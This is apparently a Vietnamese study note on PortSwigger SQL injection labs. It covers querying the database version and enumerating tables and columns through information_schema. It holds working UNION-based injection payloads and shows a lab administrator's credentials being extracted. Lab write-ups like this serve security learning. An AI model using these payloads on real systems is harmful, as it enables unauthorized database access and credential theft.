Note
Tất cả các bài lab bên dưới đều được khai thác ở query param
category
của endpoint/filter
.
Querying the Database Type and Version
Để truy xuất thông tin về database (các bảng và các cột), trước tiên ta cần biết tên database và version của nó. Sau đây là một số cú pháp truy vấn version của các loại database:
Database type | Query |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
Chúng ta có thể ghép vào mệnh đề UNION
để truy vấn như sau:
' UNION SELECT @@version--
Câu truy vấn trên có thể trả về giá trị như sau:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
Bằng cách này, ta có thể biết được loại database và version của nó.
Lab: SQL Injection Attack, Querying the Database Type and Version on Oracle
Lab: SQL Injection Attack, Querying the Database Type and Version on MySQL and Microsoft
Ban đầu dùng payload sau nhưng không được:
' order by 1--
Do database là MySQL và Microsoft nên thêm vào dấu ;
và sử dụng comment -- -
:
' order by 2;-- -
Tìm ra số lượng cột là 2, sử dụng payload sau thì truy vấn được version của database:
' union select @@version, null;-- -
Kết quả:
8.0.36-0ubuntu0.20.04.1
Listing the Contents of the Database
Đa số các loại database (trừ Oracle) đều có tập các bảng (hoặc view) cho biết thông tin về các schema có trong database. Ví dụ, câu truy vấn sau sẽ liệt kê danh sách các bảng có ở trong database:
SELECT * FROM information_schema.tables
Kết quả có thể là:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
Kết quả trên cho biết có ba bảng trong database là Products
, Users
và Feedback
.
Cũng có thể dùng information_schema
để truy vấn thông tin về các cột:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Kết quả có thể là:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
Kết quả trên cho biết bảng Users
có ba cột là UserId
, Username
và Password
.
Lab: SQL Injection Attack, Listing the Database Contents on non-Oracle Databases
Tìm ra được số lượng cột là 2 và cả 2 cột đều có thể chứa chuỗi. Truy vấn được thông tin của database như sau:
' union select version(), 'a'-- -
Kết quả:
PostgreSQL 12.17 (Ubuntu 12.17-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
Trong Postgres cũng có bảng information_schema.tables
chứa thông tin về các table.
Sử dụng payload sau để truy xuất tên của các bảng mà không có tiền tố là pg_
và không phải là view.
' union select null, table_name from information_schema.tables where table_name not like 'pg_%' and table_type not like 'VIEW'-- -
Tìm được tên của bảng chứa thông tin người dùng là users_idiieu
.
Bảng information_schema.columns
sẽ cho ta biết thông tin về các column.
Sử dụng payload sau để truy xuất tên của các cột trong bảng users_idiieu
:
' union select null, column_name from information_schema.columns where table_name = 'users_idiieu'-- -
Ta tìm được hai cột chứa username và password là username_gkiiya
và password_thgdgi
.
Tiến hành truy xuất thông tin từ hai cột này:
' union select null, username_gkiiya || ' - ' || password_thgdgi from users_idiieu-- -
Tìm ra được username và password của admin là administrator - dibh7den7ue5cdhdo55q
. Đăng nhập vào tài khoản này.
Listing the Contents of an Oracle Database
Lab: SQL Injection Attack, Listing the Database Contents on Oracle
Related
list
from outgoing([[Port Swigger - Examining the Database in SQL Attacks]])
sort file.ctime asc